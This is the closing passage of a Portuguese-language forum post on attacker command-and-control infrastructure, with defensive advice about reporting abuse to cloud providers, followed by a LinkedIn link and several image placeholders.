    • Buscar soluções de IT que respeite a segurança da informação;

    E caso você seja alvo de um ataque que utilize algum recurso tecnológico de empresas sérias para se propagar, reportar é a solução mais efetiva. Muitos C2 que utilizam instâncias do Azure, AWS, Google Cloud, são bloqueadas por essas provedoras de nuvem. Mas claro, se outros meios descentralizados são utilizado, cabe um bom time de Threat Intelligence para combater o inimigo e auxiliar no bloqueio dessa ameaça.

    Esse foi um exemplo bem simples, que pode ser feito de várias formas, com certeza é sempre bom ficar de olho nos métodos que os atacantes, os Hackers maliciosos utilizam para utilizar no seu Red Team Operations.

    Me adicione no LinkedIn: https://www.linkedin.com/in/joas-antonio-dos-santos

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    • Agradecer 1
×
×
  • Criar Novo...